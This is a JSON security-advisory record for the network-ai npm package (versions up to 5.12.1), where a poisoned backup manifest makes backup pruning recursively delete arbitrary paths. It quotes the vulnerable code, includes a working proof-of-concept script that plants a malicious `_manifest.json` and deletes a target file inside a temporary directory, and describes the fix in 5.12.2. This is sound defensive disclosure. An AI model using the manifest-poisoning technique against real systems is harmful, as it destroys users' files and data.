{"id":"GHSA-2fmp-9rvw-hc96","title":"Network-AI: Poisoned environment backup manifest allows arbitrary recursive deletion during backup pruning","summary":"Network-AI: Poisoned environment backup manifest allows arbitrary recursive deletion during backup pruning","severity":"high","cvss":7.1,"cwe":["CWE-22","CWE-73"],"vendor":"network-ai","product":"network-ai","ecosystem":"npm","affected":["network-ai <= 5.12.1"],"patched":["network-ai 5.12.2"],"published":"2026-06-19","updated":"2026-06-19","source":"GHSA","sourceUrl":"https://github.com/advisories/GHSA-2fmp-9rvw-hc96","references":[{"url":"https://github.com/Jovancoding/Network-AI/security/advisories/GHSA-2fmp-9rvw-hc96"},{"url":"https://github.com/Jovancoding/Network-AI/commit/a59c13a1f0ce0e8a0779a90343eef92fac5ab4c3"},{"url":"https://github.com/Jovancoding/Network-AI/releases/tag/v5.12.2"},{"url":"https://github.com/advisories/GHSA-2fmp-9rvw-hc96"}],"tags":["ghsa","npm"],"ingestedAt":"2026-06-22T13:35:24.264Z","slug":"GHSA-2fmp-9rvw-hc96","body":"## Overview\n\n### Summary\n`EnvironmentManager.listBackups()` reads each backup's `_manifest.json` and trusts the manifest's `path` field. `EnvironmentManager.pruneBackups()` later passes that trusted `entry.path` directly to `rmSync(entry.path, { recursive: true, force: true })`.\n\nAn attacker who can place or modify a manifest inside `data/<env>/.backups/<name>/_manifest.json` can cause `network-ai env backup prune --env <env> --keep <n>` or any code path invoking `pruneBackups()` to recursively delete an arbitrary path accessible to the Network-AI process user. Confirmed in Network-AI 5.12.1.\n\n### Details\n`listBackups()` trusts manifest content from disk:\n\n```ts\nfor (const name of readdirSync(backupsDir)) {\n  const manifest = join(backupsDir, name, '_manifest.json');\n  if (existsSync(manifest)) {\n    try {\n      const entry = JSON.parse(readFileSync(manifest, 'utf-8')) as BackupEntry;\n      entries.push(entry);\n    } catch { /* corrupt manifest, skip */ }\n  }\n}\n```\n\n`pruneBackups()` uses the attacker-controlled `entry.path` as the deletion target:\n\n```ts\nconst toDelete = all.slice(keep);\nlet deleted = 0;\nfor (const entry of toDelete) {\n  try {\n    rmSync(entry.path, { recursive: true, force: true });\n    deleted++;\n  } catch { /* ignore */ }\n}\n```\n\nDefault CLI reachability exists through `network-ai env backup prune --env <env> --keep <n>`.\n\nAffected source evidence:\n\n- `lib/env-manager.ts:505-523` — reads trusted backup entries from `_manifest.json`.\n- `lib/env-manager.ts:529-541` — recursively deletes `entry.path`.\n- `bin/cli.ts:464-472` — default CLI exposes backup pruning.\n\n### PoC\nThis PoC uses only a temporary directory and deletes only a temporary file:\n\n```bash\nTMP=$(mktemp -d)\nTMPBASE=\"$TMP\" node -r ts-node/register/transpile-only - <<'TS'\nconst { EnvironmentManager } = require('./lib/env-manager');\nconst fs = require('fs');\nconst path = require('path');\nconst base = process.env.TMPBASE;\n\nconst mgr = new EnvironmentManager(path.join(base, 'data'), {\n  chain: ['dev', 'st'],\n  gates: { dev: 'auto', st: 'auto' },\n});\n\nmgr.init('dev');\nfs.writeFileSync(path.join(base, 'victim.txt'), 'safe');\n\nconst backupsDir = path.join(base, 'data', 'dev', '.backups');\nfs.mkdirSync(path.join(backupsDir, 'evil'), { recursive: true });\nfs.writeFileSync(\n  path.join(backupsDir, 'evil', '_manifest.json'),\n  JSON.stringify({\n    backupId: 'evil',\n    env: 'dev',\n    timestamp: '2000-01-01T00:00:00.000Z',\n    sizeBytes: 0,\n    path: path.join(base, 'victim.txt'),\n  })\n);\n\nconsole.log(JSON.stringify({\n  before: fs.existsSync(path.join(base, 'victim.txt')),\n  deleted: mgr.pruneBackups('dev', 0),\n  after: fs.existsSync(path.join(base, 'victim.txt')),\n}, null, 2));\n\nfs.rmSync(base, { recursive: true, force: true });\nTS\n```\n\nObserved result: `before` is `true`, `deleted` is `1`, and `after` is `false`, proving deletion occurred outside `data/dev/.backups`.\n\n### Impact\nAn attacker with write access to the Network-AI data directory can cause recursive deletion of arbitrary filesystem paths accessible to the Network-AI process user when backup pruning runs. This can delete project files, data directories, or other process-writable paths, causing data loss and denial of service. No RCE chain was confirmed.\n\n\n---\n\n### Resolution (maintainer)\n\n**Fixed in [v5.12.2](https://github.com/Jovancoding/Network-AI/releases/tag/v5.12.2) (commit `a59c13a`).** Install: `npm install network-ai@5.12.2` — published to npm with provenance.\n\n`pruneBackups()` no longer passes `entry.path` from the on-disk manifest to `rmSync`. The deletion path is recomputed from a format-validated `entry.backupId`, and a `dirname` containment check confines deletion to exactly one level under the backups directory. A poisoned manifest (e.g. `\"path\": \"/\"`) is now inert.\n\nAll 3,269 tests pass against the patched build. Thanks to @sondt99 for the responsible disclosure.\n\n## Affected packages\n\n- `network-ai <= 5.12.1`\n\n## Remediation\n\nUpgrade to a patched release:\n\n- `network-ai 5.12.2`","depth":"twilight","depthScore":39,"depthScoreParts":{"impact":39.1,"likelihood":0,"exploitation":0,"ransomware":0},"changes":[]}